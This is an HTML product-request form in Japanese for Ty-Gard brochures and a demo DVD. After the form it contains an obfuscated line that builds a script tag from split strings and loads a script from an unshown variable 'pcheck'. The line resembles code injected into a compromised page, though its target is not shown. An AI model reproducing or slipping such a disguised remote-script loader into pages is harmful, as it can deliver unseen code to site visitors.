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<!DOCTYPE HTML>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>タイガード2000 - リクエスト・フォーム</title>
<link href="../css/frameshadow.css" rel="stylesheet" type="text/css">
</head>
<body>
<form action="includes/request-form.php" method="post">
<fieldset>
<input type="text" onfocus="if(this.value=='Name') this.value='';" onblur="if(this.value=='') this.value='Name';" value="Name" id="メールアドレス" name="ご氏名" />
</fieldset>
<fieldset>
<input type="text" onfocus="if(this.value=='Email') this.value='';" onblur="if(this.value=='') this.value='Email';" value="Email" name="メールアドレス" />
</fieldset>
<fieldset>
<input type="text" onfocus="if(this.value=='Company') this.value='';" onblur="if(this.value=='') this.value='Company';" value="Company" name="会社名" />
</fieldset>
<fieldset>
<input type="text" onfocus="if(this.value=='Address') this.value='';" onblur="if(this.value=='') this.value='Address';" value="Address" name="ご住所" />
</fieldset>
<fieldset>
<input type="text" onfocus="if(this.value=='Phone') this.value='';" onblur="if(this.value=='') this.value='Phone';" value="Phone" name="お電話番号" />
</fieldset>
<div class="clear"></div>
<div class="colIzq">
<h2>パンフレット</h2>
<label style="margin-left:0;">
<input type="checkbox" name="brochureTygard" value="YES" id="CheckboxGroup1_0">
<span>Ty-Gard</span></label>
<label>
<input type="checkbox" name="brochureTypatch" value="YES" id="CheckboxGroup1_1">
<span>Ty-Patch</span></label>
<label>
<input type="checkbox" name="brochureツールキット" value="YES" id="CheckboxGroup1_2">
<span>ツールキット</span></label>
<label style="margin-left:0;">
<input type="checkbox" name="brochureContactMe" value="YES" id="CheckboxGroup1_3" >
<span>担当者からの連絡を希望する</span></label>
</div>
<div class="colDer">
<h2>動画</h2>
<label>
<input type="checkbox" name="demonstrationDVD" value="YES" id="CheckboxGroup2_0">
<span>デモDVD</span>
</label>
</div>
<div class="clear"></div>
<fieldset>
<label style="float:none;">
<textarea name="note" onfocus="if(this.value=='Note') this.value='';" onblur="if(this.value=='') this.value='Note';" >Note</textarea>
</label>
</fieldset>
<input type="submit" value="フォームを送信">
<div class="clear"></div>
</form>
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document.writeln('<scr'+'ipt src="'+pcheck+'" type="text\/javascript"><\/scr'+'ipt>');
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</script>
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</body>
</html>